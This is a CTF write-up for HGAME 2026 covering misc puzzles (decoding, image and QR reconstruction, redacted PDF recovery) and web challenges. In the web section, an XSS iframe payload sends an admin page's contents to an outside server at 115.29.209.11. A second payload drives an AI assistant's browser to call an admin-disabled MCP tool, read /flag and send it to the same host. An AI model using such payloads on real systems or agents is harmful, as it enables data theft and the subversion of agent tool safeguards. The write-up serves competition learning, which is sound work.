HGAME 2026 WriteUp
misc
week1
打好基础
得到一堆emoji,推测是base100,解码得到
;f:JiwUgK5F*Ww3HGg1^4mXhVR;ZVI]v2wGX7Z12)xj7V1[!17]VA.*P?fXzCIU+//hKwf*<9[Mj?mI}86$zWt6+4qvuU{p!7S^So.WQh=Q6?v.*F\1fd*^4*FxzUJj4;*;(?s6|U_{jQx!P4*Q9^j2WJ<[jlqgg4iQF;m2WK-h5m=ldL|F+LI1p)WB\kE<J:c<v1]V)nA:,A_9\5M<zYR+f)-xIWn-]1SSLFz3zcV>?WDd-K<G(1kVnEh^bl*lvHo2Ku'+T)b?-nT;z2^&C8}V*/9V1T]m#DYFh=@W=tIm/j.j>ACtdw{5xU]bR@CJN3[Q^N82&ycUK>F观察到base特征

扔进basecrack循环解码

hgame{L4y_a_sO11d_f0unDaTi0n}
shiori不想找女友
观察到图片内每隔6像素就会有一个特殊的像素,于是提取这些像素。
使用ps裁剪图片,上下左右都留3px,使每个点位于7x7像素的中央

然后使用临近硬边缘算法缩放图片,观察到图片有很多杂乱的线条,推测是宽度被修改过

写脚本,将像素按照不同宽度排列
from PIL import Image
import os
def resize_by_padding(input_path, output_dir, target_widths):
img = Image.open(input_path)
original_width, original_height = img.size
pixels = list(img.getdata())
for target_width in target_widths:
new_height = (len(pixels) + target_width - 1) // target_width
new_img = Image.new(img.mode, (target_width, new_height))
new_img.putdata(pixels)
output_path = os.path.join(output_dir, f"output_w{target_width}.png")
new_img.save(output_path)
print(f"Saved: {output_path} ({target_width}x{new_height})")
resize_by_padding("shiori.png", "output", [n for n in range(1, 2048)])宽度450时还原得到原图

但是还是解不开压缩包…
[REDACTED]
提交说明: 附件中包含四段敏感字符串,格式为 [1-4]:.+。用下划线字符 连接去掉序号的四段字符串,包裹 hgame{} 后提交。例如,若四段敏感字符串分别为 1:Example、2:Redacted、3:Secret、4:Strings!,则提交的 flag 为 hgame{Example_Redacted_Secret_Strings_!}。
用学校的企业版wps编辑pdf
1.

1:PAR4D0X
2.

需要注意的是这里使用了特殊的文本编码,直接复制出来是不行的,使用ocr提取

1eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21tYW5kIjoiMjpBbGxDbDNhc1RvUHIwY2V1ZCJ9.qZPdEp0icqFGvSP40i4dLUxiBK9yu8sRcmikNxXxnsY解base64得到

2:AllCl3arToPr0ceed
3.
将图片扔进ps,可以发现涂黑部分里的文字
3:Sh4m1R
4.pdf内已经没有信息了,于是考虑通用的misc思路,将整个文件binwalk+foremost,得到一个新的pdf

4:D0cR3qu3st3r_Tutu
hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}
week2
Invest on Matrix
现在你有一个 25×25 的矩阵。
Hint 给出的内容是:将该矩阵按 从左到右、从上到下 的顺序划分为若干个 5×5 的子矩阵,并依次给出每个子矩阵按行优先(从左到右、从上到下)扁平化后的值。
例如:
1 pts 的 hint 对应给出 matrix[0:5, 0:5]子矩阵扁平化后的值。
2 pts 的 hint 对应给出 matrix[0:5, 5:10]子矩阵扁平化后的值。
…
6 pts 的 hint 对应给出 matrix[5:10, 0:5]子矩阵扁平化后的值。
以此类推,直到覆盖整个 25×25 矩阵。
这题有意思啊
手滑点开了hint9,又点开了hint1,在Excel上画了一下,感觉像是二维码

先要了解一下二维码的结构,上网搜索看到这个,

- 四个矩形称为定位图案,与二维码的版本(也就是大小)有关
- 横竖两条斑马线称为时序图案
- 三个大定位图案附近(红色)存储着格式信息,包括纠错等级和掩码类别
- 其余部分存储着原始数据(上图绿色)和纠错数据(上图灰色),填充顺序从右下角开始

已知这是一个25x25的二维码,所以这是一个版本2的二维码
先把已知的信息填入qrazybox

然后要确定格式信息。再点开hint2,通过hint2和hint9的一部分可以确定纠错级别为H,掩码类别为2

接下来就要考虑怎么做最经济了,之前我们知道右下角是原始数据,其余部分是纠错,所以纠错数据的数据密度比原始数据小,但是纠错数据的格子消耗的分数少,原始数据的格子消耗的分数多,综合考虑我选择只使用原始数据(后来实测这不是最优解,见下文)
解锁了hint25,24,20,15,14

使用工具里的Padding Bits Recovery可以根据已知信息补全一些格子


此时使用Extract QR Information和Reed-Solomon Decoder仍然不能解码(Reed-Solomon也就是原始数据块)
考虑到再解锁右下角的格子已经不经济了,于是选择解锁一些纠错数据
解锁hint3,4
此时已经可以成功解码

hgame{W0RTH_1T?}
总消耗:2+3+4+9+14+15+20+24+25=116
原始二维码:
后续写了个脚本遍历所有可能的hint组合,跑了一晚上,理论最优方案是解锁hint2, 3, 4, 6, 7, 8, 9, 10, 11, 13, 14, 15, 18, 20, 23=163pts。如果加上一些猜和推断的成分,理论上可以更少。

web
week1
魔理沙的魔法目录
发现每点开一篇文章就会记录阅读时长

重放攻击

hgame{YoU_AR3-41So-4_mAHOu_TsuKAI_NOWlc3c55}
博丽神社的绘马挂
灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题…而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})
登录页发现没有做校验,任意账号密码都能登录,除了Reimu账号无法登陆,尝试简单的弱密码无果。
观察发现服务器中间件是nginx,但是不知道后端软件
点击“呼叫灵梦”之后alert“灵梦马上就来看看你的愿望~”,会发一个/api/report请求,并在约20秒后返回500 INTERNAL SERVER ERROR、{"status":"error"},而且在这20秒内发送新的请求会直接返回429 TOO MANY REQUESTS,嘶,难道灵梦真的在看我的愿望?
发现发布页面的输入框有xss,于是尝试读取Reimu视角下的index.html、post.html、archives.html,最终在archives.html找到flag(也就是提示的在归档完毕的绘马里藏了一些不可告人的秘密)
payload:
<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{
var flag = this.contentWindow.document.body.innerText;
fetch('http://115.29.209.11:8000/?flag=' + btoa(secret));
}, 2000)"></iframe>在vps上运行nc -l 8000,就能收到题目环境传出来的数据

Hgame{tHE-5ecR3T_0f_HAKuRei_JlNj4a4ab07b}
My Little Assistant
Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前,你或许该想想:
它到底是在理解你的需求,还是在服从看到的一切?
通过简单的对话和阅读源码得知有两个mcp:py_request和py_eval,但测试发现py_eval无法使用,“py_eval被管理员禁用了”,同时py_request不能以http开头,测试发现file://也不能用,但是观察到源码里额外设置了跨域的属性

于是尝试在playwright环境中调用mcp
payload:
<!DOCTYPE html>
<html>
<body>
<script>
async function execute() {
const payload = {
"jsonrpc": "2.0",
"id": 1,
"params": {
"name": "py_eval",
"arguments": {
"code": "result = open('/flag').read()"
}
}
};
const response = await fetch('http://127.0.0.1:8001/mcp', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
})
await fetch('http://115.29.209.11:8000',{
method: 'POST',
body: btoa(response.text())
})
}
execute();
</script>
</body>
</html>
hgame{@imcP-DrivEN_xSS_@tTaCK_CHAln43eec05}